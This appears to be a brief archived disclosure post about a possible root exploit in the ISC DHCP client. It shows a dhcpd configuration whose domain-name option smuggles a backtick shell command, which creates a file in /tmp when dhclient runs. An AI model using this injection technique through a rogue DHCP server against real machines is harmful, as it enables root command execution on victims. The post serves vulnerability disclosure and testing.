isc-dhcpd.exploit.txt

Somebody at OpenBSD discovered a possible root exploit in the isc-dhcpd.exploit.txt

Somebody at OpenBSD discovered a possible root exploit in the ISC DHCP
client.

I can confirm that as of 6:23am on June 23rd after several hours of
hacking around the sources I had the following dhcpd config running on my
own machine's private network for testing:

shared-network LOCAL-NET {
option domain-name "my.`echo hi > /tmp/oops`.domain";
option domain-name-servers 192.168.1.3, 192.168.1.5;

subnet 192.168.1.0 netmask 255.255.255.0 {
option routers 192.168.1.1;

range 192.168.1.32 192.168.1.127;
}
}

... and when dhclient finished running I had a nice little present
in /tmp/ named 'oops' that contained the string 'hi' ..